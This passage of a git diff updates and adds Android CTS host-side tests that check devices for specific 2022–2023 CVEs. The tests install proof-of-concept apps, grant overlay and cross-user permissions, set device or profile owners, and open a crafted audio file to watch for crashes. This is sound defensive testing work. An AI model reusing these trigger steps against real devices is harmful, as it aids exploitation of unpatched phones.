+ new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
.setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
"nfc_ncif_proc_ee_discover_req"));
testConfig.config
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20138.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20138.java
index 45c6fb1..9e5e7eb 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20138.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20138.java
@@ -18,7 +18,7 @@
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -26,7 +26,7 @@
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20138 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2022_20138 extends NonRootSecurityTestCase {
static final String TEST_APP = "CVE-2022-20138.apk";
static final String TEST_PKG = "android.security.cts.CVE_2022_20138";
static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20147.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20147.java
index 41a727f..7157a13 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20147.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20147.java
@@ -20,17 +20,18 @@
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
import java.util.regex.Pattern;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20147 extends SecurityTestCase {
+public class CVE_2022_20147 extends NonRootSecurityTestCase {
/**
* b/221216105
* Vulnerability Behaviour: SIGSEGV in self
@@ -44,11 +45,11 @@
AdbUtils.assumeHasNfc(getDevice());
assumeIsSupportedNfcDevice(getDevice());
pocPusher.only64();
- String signals[] = { CrashUtils.SIGSEGV };
+ String signals[] = { TombstoneUtils.Signals.SIGSEGV };
String binaryName = "CVE-2022-20147";
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName,
getDevice());
- testConfig.config = new CrashUtils.Config()
+ testConfig.config = new TombstoneUtils.Config()
.setProcessPatterns(Pattern.compile(binaryName))
.setBacktraceIncludes(new BacktraceFilterPattern(
"libnfc-nci", "nfa_dm_check_set_config"));
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20197.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20197.java
new file mode 100644
index 0000000..98befd4
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20197.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static com.android.sts.common.SystemUtil.withSetting;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2022_20197 extends NonRootSecurityTestCase {
+ private static final String TEST_PKG = "android.security.cts.CVE_2022_20197";
+
+ @AsbSecurityTest(cveBugId = 208279300)
+ @Test
+ public void testPocCVE_2022_20197() {
+ try (AutoCloseable a = withSetting(getDevice(), "global", "hidden_api_policy", "1")) {
+ installPackage("CVE-2022-20197.apk");
+ runDeviceTests(TEST_PKG, TEST_PKG + ".DeviceTest", "testParcel");
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20223.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20223.java
index f593f20..18d4cdd 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20223.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20223.java
@@ -21,7 +21,7 @@
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -29,7 +29,7 @@
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20223 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2022_20223 extends NonRootSecurityTestCase {
@AsbSecurityTest(cveBugId = 223578534)
@Test
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20230.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20230.java
index 1886a4a..59e7631 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20230.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20230.java
@@ -20,7 +20,7 @@
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -28,7 +28,7 @@
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20230 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2022_20230 extends NonRootSecurityTestCase {
public static final int USER_ID = 0;
static final String TEST_APP = "CVE-2022-20230.apk";
static final String TEST_PKG = "android.security.cts.CVE_2022_20230";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20348.java
similarity index 60%
copy from hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java
copy to hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20348.java
index de245bb..df33a31 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20348.java
@@ -20,7 +20,7 @@
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -28,20 +28,31 @@
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20347 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2022_20348 extends NonRootSecurityTestCase {
+ static final String TEST_PKG = "android.security.cts.CVE_2022_20348";
+ public static final String TEST_DEVICE_ADMIN_RECEIVER = ".PocDeviceAdminReceiver";
- @AsbSecurityTest(cveBugId = 228450811)
+ @AsbSecurityTest(cveBugId = 228315529)
@Test
- public void testPocCVE_2022_20347() {
+ public void testPocCVE_2022_20348() throws Exception {
try {
- final String testPkg = "android.security.cts.CVE_2022_20347";
- final String testClass = testPkg + "." + "DeviceTest";
ITestDevice device = getDevice();
+
+ /* Wake up the screen */
AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
- installPackage("CVE-2022-20347.apk");
- runDeviceTests(testPkg, testClass, "testBluetoothDiscoverable");
+
+ /* Install the test application */
+ installPackage("CVE-2022-20348.apk");
+
+ /* Set Device Admin Component */
+ AdbUtils.runCommandLine(
+ "dpm set-device-owner '" + TEST_PKG + "/" + TEST_DEVICE_ADMIN_RECEIVER + "'",
+ device);
+
+ /* Run the test "testWifiScanningDisallowed" */
+ runDeviceTests(TEST_PKG, TEST_PKG + ".DeviceTest", "testWifiScanningDisallowed");
} catch (Exception e) {
assumeNoException(e);
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20349.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20349.java
index c4f5225..f8dcc48 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20349.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20349.java
@@ -20,7 +20,7 @@
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -28,7 +28,7 @@
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20349 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2022_20349 extends NonRootSecurityTestCase {
static final String TEST_PKG = "android.security.cts.CVE_2022_20349";
public static final String TEST_DEVICE_ADMIN_RECEIVER = ".PocDeviceAdminReceiver";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20353.java
similarity index 72%
copy from hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java
copy to hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20353.java
index de245bb..12bb187 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20353.java
@@ -20,7 +20,7 @@
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -28,20 +28,25 @@
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20347 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2022_20353 extends NonRootSecurityTestCase {
- @AsbSecurityTest(cveBugId = 228450811)
+ @AsbSecurityTest(cveBugId = 221041256)
@Test
- public void testPocCVE_2022_20347() {
+ public void testPocCVE_2022_20353() {
try {
- final String testPkg = "android.security.cts.CVE_2022_20347";
- final String testClass = testPkg + "." + "DeviceTest";
+ final String testPkg = "android.security.cts.CVE_2022_20353";
ITestDevice device = getDevice();
+
AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
- installPackage("CVE-2022-20347.apk");
- runDeviceTests(testPkg, testClass, "testBluetoothDiscoverable");
+
+ // to generate NOTICE.html if not already present
+ AdbUtils.runCommandLine("am start -a android.settings.LICENSE", device);
+
+ installPackage("CVE-2022-20353.apk");
+
+ runDeviceTests(testPkg, testPkg + ".DeviceTest", "testDefaultRingtonePreference");
} catch (Exception e) {
assumeNoException(e);
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20360.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20360.java
new file mode 100644
index 0000000..0568740
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20360.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2022_20360 extends NonRootSecurityTestCase {
+
+ // b/228314987
+ // Vulnerable apk : Settings.apk
+ // Vulnerable module : com.android.settings
+ // Is Play managed : No
+ @AsbSecurityTest(cveBugId = 228314987)
+ @Test
+ public void testPocCVE_2022_20360() {
+ final String testPkg = "android.security.cts.CVE_2022_20360";
+ ITestDevice device = null;
+ int currentUser = -1;
+ int newUser = -1;
+ try {
+ device = getDevice();
+
+ // Check if device supports nfc
+ assumeTrue("Device does not support nfc", device.hasFeature("android.hardware.nfc"));
+
+ // Get current user
+ currentUser = device.getCurrentUser();
+
+ // Create new guest user 'CTSUser' for test
+ newUser = device.createUser("CTSUser", true, false);
+
+ // Start new guest user 'CTSUser'
+ assumeTrue("Unable to create new guest user", device.startUser(newUser, true));
+
+ // Switch to new user 'CTSUser'
+ assumeTrue("Unable to switch to guest user", device.switchUser(newUser));
+
+ // Install test-app
+ installPackage("CVE-2022-20360.apk", "--user " + newUser);
+
+ runDeviceTests(testPkg, testPkg + ".DeviceTest", "testSecureNfcPreferenceController");
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ try {
+ if (currentUser != -1) {
+ // Switch back to previous user
+ device.switchUser(currentUser);
+ }
+ if (newUser != -1) {
+ // Stop user 'CTSUser'
+ device.stopUser(newUser);
+
+ // Remove user 'CTSUser'
+ device.removeUser(newUser);
+ }
+ } catch (Exception e) {
+ // Ignore exception here
+ }
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20415.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20415.java
new file mode 100644
index 0000000..e12c925
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20415.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2022_20415 extends NonRootSecurityTestCase {
+
+ // b/231322873
+ // Vulnerable app : SystemUI.apk
+ // Vulnerable module : com.android.systemui
+ // Is Play managed : No
+ @AsbSecurityTest(cveBugId = 231322873)
+ @Test
+ public void testPocCVE_2022_20415() {
+ try {
+ // Test is not applicable for watch devices so skipping the test for watch devices
+ assumeFalse(
+ "Skipping the test for watch devices",
+ getDevice().hasFeature("android.hardware.type.watch"));
+
+ final String testPkg = "android.security.cts.CVE_2022_20415";
+
+ // Install the test-app
+ installPackage("CVE-2022-20415.apk");
+ runDeviceTests(testPkg, testPkg + "." + "DeviceTest", "testFullScreenIntent");
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20475.java
similarity index 67%
copy from hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java
copy to hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20475.java
index de245bb..62d0f16 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20475.java
@@ -20,7 +20,7 @@
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -28,20 +28,31 @@
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20347 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2022_20475 extends NonRootSecurityTestCase {
- @AsbSecurityTest(cveBugId = 228450811)
+ /**
+ * b/240663194
+ * Vulnerable module : services.jar
+ * Is Play Managed : No
+ */
+ @AsbSecurityTest(cveBugId = 240663194)
@Test
- public void testPocCVE_2022_20347() {
+ public void testPocCVE_2022_20475() {
try {
- final String testPkg = "android.security.cts.CVE_2022_20347";
- final String testClass = testPkg + "." + "DeviceTest";
+ final String testPkg = "android.security.cts.CVE_2022_20475_test";
ITestDevice device = getDevice();
+
+ // Install the test and target apps
+ installPackage("CVE-2022-20475-test.apk");
+ installPackage("CVE-2022-20475-target.apk");
+
+ // Wake up the device
AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
- installPackage("CVE-2022-20347.apk");
- runDeviceTests(testPkg, testClass, "testBluetoothDiscoverable");
+
+ // Run the test "testCVE_2022_20475"
+ runDeviceTests(testPkg, testPkg + ".DeviceTest", "testCVE_2022_20475");
} catch (Exception e) {
assumeNoException(e);
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20501.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20501.java
new file mode 100644
index 0000000..067a011a
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20501.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2022_20501 extends NonRootSecurityTestCase {
+ private ITestDevice mDevice;
+
+ /**
+ * b/246933359
+ * Vulnerable app : Telecom.apk
+ * Vulnerable module : com.android.server.telecom
+ * Is Play managed : No
+ */
+ @AsbSecurityTest(cveBugId = 246933359)
+ @Test
+ public void testPocCVE_2022_20501() {
+ try {
+ final String testPkg = "android.security.cts.CVE_2022_20501";
+ mDevice = getDevice();
+ installPackage("CVE-2022-20501.apk");
+
+ // Wake up the device
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP && wm dismiss-keyguard",
+ mDevice);
+
+ AdbUtils.runCommandLine(
+ "pm grant " + testPkg + " android.permission.SYSTEM_ALERT_WINDOW", mDevice);
+ runDeviceTests(testPkg, testPkg + ".DeviceTest", "testOverlayButtonPresence");
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+
+ @After
+ public void tearDown() {
+ try {
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", mDevice);
+ } catch (Exception ignored) {
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_22082.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_22082.java
new file mode 100644
index 0000000..cc3fd42
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_22082.java
@@ -0,0 +1,52 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.security.cts;
+
+import static org.junit.Assume.*;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2022_22082 extends NonRootSecurityTestCase {
+
+ /**
+ * CVE-2022-22082
+ */
+ @AsbSecurityTest(cveBugId = 223211217)
+ @Test
+ public void testPocCVE_2022_22082() throws Exception {
+ /*
+ * Non StageFright test.
+ */
+ safeReboot();
+ AdbUtils.pushResource("/cve_2022_22082.dsf", "/sdcard/cve_2022_22082.dsf", getDevice());
+ TombstoneUtils.Config config = new TombstoneUtils.Config().setProcessPatterns("media.extractor");
+ try (AutoCloseable a = TombstoneUtils.withAssertNoSecurityCrashes(getDevice(), config)) {
+ AdbUtils.runCommandLine(
+ "am start -a android.intent.action.VIEW -t audio/dsf -d"
+ + " file:///sdcard/cve_2022_22082.dsf",
+ getDevice());
+ Thread.sleep(10000);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_20904.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_20904.java
new file mode 100644
index 0000000..0763ee5
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_20904.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2023_20904 extends NonRootSecurityTestCase {
+
+ // b/246300271
+ // Vulnerable library : services.jar
+ // Vulnerable module : Not applicable
+ // Is Play Managed : No
+ @AsbSecurityTest(cveBugId = 246300272)
+ @Test
+ public void testPocCVE_2023_20904() {
+ final String testPkg = "android.security.cts.CVE_2023_20904";
+ try {
+ installPackage("CVE_2023_20904.apk");
+ runDeviceTests(testPkg, testPkg + "." + "DeviceTest", "testgetTrampolineIntent");
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_20913.java
similarity index 63%
copy from hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java
copy to hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_20913.java
index de245bb..5e4da69 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_20913.java
@@ -20,7 +20,7 @@
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -28,20 +28,23 @@
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20347 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2023_20913 extends NonRootSecurityTestCase {
- @AsbSecurityTest(cveBugId = 228450811)
+ // b/246933785
+ // Vulnerable app : Telephony.apk
+ // Vulnerable module : com.android.phone
+ // Is Play managed : No
+ @AsbSecurityTest(cveBugId = 246933785)
@Test
- public void testPocCVE_2022_20347() {
+ public void testPocCVE_2023_20913() {
try {
- final String testPkg = "android.security.cts.CVE_2022_20347";
- final String testClass = testPkg + "." + "DeviceTest";
+ final String testPkg = "android.security.cts.CVE_2023_20913";
ITestDevice device = getDevice();
- AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
- AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
- AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
- installPackage("CVE-2022-20347.apk");
- runDeviceTests(testPkg, testClass, "testBluetoothDiscoverable");
+ installPackage("CVE-2023-20913.apk");
+
+ AdbUtils.runCommandLine(
+ "pm grant " + testPkg + " android.permission.SYSTEM_ALERT_WINDOW", device);
+ runDeviceTests(testPkg, testPkg + ".DeviceTest", "testOverlayButtonPresence");
} catch (Exception e) {
assumeNoException(e);
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_20917.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_20917.java
new file mode 100644
index 0000000..5f9d1fc
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_20917.java
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2023_20917 extends NonRootSecurityTestCase {
+
+ // b/242605257
+ // Vulnerable library : framework.jar
+ // Vulnerable module : Not applicable
+ @AsbSecurityTest(cveBugId = 242605257)
+ @Test
+ public void testPocCVE_2023_20917() {
+ ITestDevice device = null;
+ int workUserId = -1;
+ final String testPkg = "android.security.cts.CVE_2023_20917";
+ try {
+ device = getDevice();
+
+ String output =
+ AdbUtils.runCommandLine(
+ "pm create-user --profileOf 0 --managed TestWork", device);
+ workUserId = Integer.parseInt(output.substring(output.lastIndexOf(" ")).trim());
+ device.startUser(workUserId);
+ // Install the test app
+ installPackage("CVE-2023-20917.apk", "-t");
+ AdbUtils.runCommandLine(
+ "dpm set-profile-owner --user "
+ + workUserId
+ + " "
+ + testPkg
+ + "/.PocDeviceAdminReceiver",
+ device);
+ AdbUtils.runCommandLine(
+ "pm grant --user "
+ + workUserId
+ + " "
+ + testPkg
+ + " android.permission.INTERACT_ACROSS_USERS",
+ device);
+ // Run the test "testCVE_2023_20917"
+ runDeviceTests(testPkg, testPkg + ".DeviceTest", "testCVE_2023_20917");
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ try {
+ // Remove the work profile and uninstall the test apk
+ device.removeAdmin(testPkg + "/.PocDeviceAdminReceiver", workUserId);
